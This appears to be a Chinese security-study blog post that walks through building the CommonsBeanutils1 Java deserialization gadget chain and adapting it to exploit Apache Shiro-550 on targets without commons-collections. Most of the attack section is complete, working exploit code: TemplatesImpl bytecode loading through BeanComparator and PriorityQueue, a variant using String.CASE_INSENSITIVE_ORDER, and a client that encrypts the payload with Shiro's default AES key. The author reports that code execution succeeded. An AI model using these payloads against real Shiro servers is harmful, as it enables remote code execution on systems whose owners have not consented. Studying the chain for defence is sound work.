CommonsBeanutils与无Commons-Collections的Shiro反序列化利用 这一篇依旧是跟着P牛的Java安全漫谈学习
上一篇 讲到java.util.PriorityQieie
,它在java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,排序就会涉及到大小比较,从而执行java.util.Comparator
接口的compare
方法
那么我们再找找有没有其他可以利用的java.util.Comparator
对象
Apache CommonsBeanutils Apache Commons Beanutils提供了对普通java类对象(也称为javabean)的一些操作方法
比如下面这个Cat类就是一个最简单的JavaBean类:
1 2 3 4 5 6 7 8 9 final public class Cat { private String name = "catalina" ; public String getName () { return name; } public void setName (String name) { this .name = name; } }
它包含一个私有属性name和读取和设置这个属性的两个方法,又称为getter和setter。其中,geyyer的方法名以get开头,setter的方法名以set开头,全名符合驼峰命名法
Commons-Beanutils中提供了一个静态方法PropertyUtils.getProperty
,让使用者可以直接调用任意JavaBean的getter方法,你如:
1 PropertyUtils.getProperty(new Cat (), "name" );
此时,Commons-Beanutils会自动找到name属性的getter方法,也就是getName
,然后调用,获得返回值。除此之外PropertyUtils.getProperty
还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a, "b.c");
的方式进行递归获取。通过这个方法,可以很方便的调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。
Commons-Beanutils还有很多像这样的辅助方法,比如说调用setter、拷贝属性等
getter妙用 我们需要找到可以利用的java.util.Comparator
对象,在Commons-Beanutils包中就存在一个:org.apache.commons.beanutils.BeanComparator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public int compare (Object o1, Object o2) { if (this .property == null ) { return this .comparator.compare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this .property); Object value2 = PropertyUtils.getProperty(o2, this .property); return this .comparator.compare(value1, value2); } catch (IllegalAccessException var5) { IllegalAccessException iae = var5; throw new RuntimeException ("IllegalAccessException: " + iae.toString()); } catch (InvocationTargetException var6) { InvocationTargetException ite = var6; throw new RuntimeException ("InvocationTargetException: " + ite.toString()); } catch (NoSuchMethodException var7) { NoSuchMethodException nsme = var7; throw new RuntimeException ("NoSuchMethodException: " + nsme.toString()); } } }
这个方法传入两个对象,如果this.Property
为空,那么直接比较这两个对象;如果this.property
不为空,则用PropertyUtils.getProperty
分别取这两个对象的this.property
属性,比较属性的值
PropertyUtils.getProperty
这个方法会自动调用一个JavaBean的getter方法,这个点是任意代码执行的关键。那么有没有什么getter方法可以执行恶意代码呢
在Java动态加载字节码 这一篇中,在追踪调试TemplatesImpl
时,我们追溯到这样的一条调用链:
1 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstamce() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
最前面的这个TemplatesImpl#getOutputProperties()
方法是调用链上的一环,它的内部调用了TemplatesImpl#newTransfoemer()
,也就是我们后面常用来执行恶意字节码的方法:
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
而且getOutputProperties
这个名字,是以get
开头,政府和getter的定义。
所以PropertyUtils.getProperty(o1.property)
这段代码,当o1是一个TemplatesImpl
对象,而property
的值为outputProperties
时将会自动调用getter,也就是TemplatesImpl#getOutputProperties()
方法,触发代码执行。
反序列化利用链构造 了解原理之后,我们来构造利用链
首先还是创建TemplateImpl:
1 2 3 4 5 6 TemplatesImpl obj = new TemplatesImpl ();setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ());
然后我们实例化BeanComparator
。BeanComparator
构造函数为空时,默认的property
就是空:
1 final BeanComparator comparator = new BeanComparator ();
然后用这个comparator实例化优先队列PriorityQueue
:
1 2 3 4 final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator);queue.add(1 ); queue.add(1 );
我们添加了两个无害的可以比较的对象进队列中。前面说过BeanComparator#compare()
中,如果this.property
为空,则直接比较这两个对象。这里实际上就是对两个1
进行排序。
初始化使用正经对象,且property
为空,这一系列操作时为了初始化的时候不要出错。然后,我们再用反射将property
的值设置成恶意的outputProperties
,将队列里的两个1替换成恶意的TemplateImpl
对象:
1 2 setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj});
最后完成整个CommonsBeanutils1利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;public class CommonsBeanutils1 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(org.example.test.testCalc.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add(1 ); queue.add(1 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
也是成功弹计算机了
Shiro-550利用难点 之前的一个shirodemo添加了几个依赖库,有一个commons-collections:3.2.1
是为了演示反序列化漏洞而增加的。但在实际场景中,目标可能并没有安装commons-collections,这个时候shiro反序列化漏洞是否还能利用呢?
我们将pom.xml中关于commons-collections的部分删除,重新加载Maven,此时观察IDEA中的依赖库:
嘿,有个commons-beanutils,那也就是说Shiro是依赖于commons-beanutils的。那么是否可以利用上面讲的CommonsBeanutils1利用链呢
我们尝试生成一个Payload发送
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public class Client1 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(org.example.test.testCalc.class.getName()); byte [] payloads = new CommonsBeanutilsShiro ().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } } public class CommonsBeanutils1Shiro { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getPayload(byte [] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add(1 ); queue.add(1 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); return barr.toByteArray(); } }
可以发现并没有成功,此时在Tomcat的控制台看到这样的报错信息:
1 org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
这个错误时什么意思?那我们就要先知道这个UID是什么
serialVersionUID是什么 如果两个不同版本的库是用来同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。所以,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID
不同,则反序列化就会异常退出,避免后续的位置隐患。
开发者也可以手工赋予一个serialVersionUID
值,此时就能手工控制兼容性了
所以,出现问题的原因就是,本地使用的commons-beanutils与Shiro中自带的commons-beanutil版本不一致,才出现了serialersionUID
对应不上的问题。,Shiro中自带的commons-beanutils是版本,我们只需将本地的修改为1.8.3就可以了。
更换版本后我们再试一次
这时又出现了另一个报错:
1 Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator
类,从包名可以看出,这个类是来自于commons-collections。
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
那下面就来讲一下无commons-collections的反序列化利用链。
无依赖的Shiro反序列化利用链 先来看看org.apache.commons.collections.comparators.ComparableComparator
这个类在哪里被使用了
在BeanComparator
类的构造函数处,当没有显式传入Comparator
的情况下,则默认使用ComparableComparator
。
既然此时没有ComparableComparator
,我们需要找到一个类来替换,它满足下面这几个条件:
实现java.util.Comparator
接口 实现java.io.Serializable
接口 Java、shiro或commons-beanutils自带,且兼容性强 然后我们能找到一个CaseInsensitiveComparator
:
相关代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator (); private static class CaseInsensitiveComparator implements Comparator <String>, java.io.Serializable { private static final long serialVersionUID = 8575799808933029326L ; public int compare (String s1, String s2) { int n1 = s1.length(); int n2 = s2.length(); int min = Math.min(n1, n2); for (int i = 0 ; i < min; i++) { char c1 = s1.charAt(i); char c2 = s2.charAt(i); if (c1 != c2) { c1 = Character.toUpperCase(c1); c2 = Character.toUpperCase(c2); if (c1 != c2) { c1 = Character.toLowerCase(c1); c2 = Character.toLowerCase(c2); if (c1 != c2) { return c1 - c2; } } } } return n1 - n2; } private Object readResolve () { return CASE_INSENSITIVE_ORDER; } }
这个CaseInsensitiveComparator
类是java.lang.String
类下的一个内部私有类,它实现了Comparator
和Serializable
,且位于Java的核心代码中,兼容性强,可以很好地替代。
我们通过String.CASE_INSENSITIVE_ORDER
就可以拿到上下文中的CaseInsensitiveComparator
对象,用它来实例化BeanComparator
:
1 final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER);
最后,构造出新的CommonsBeanutils1Shiro利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsBeanutils1Shiro { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getPayload(byte [] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); return barr.toByteArray(); } }
ok,成功利用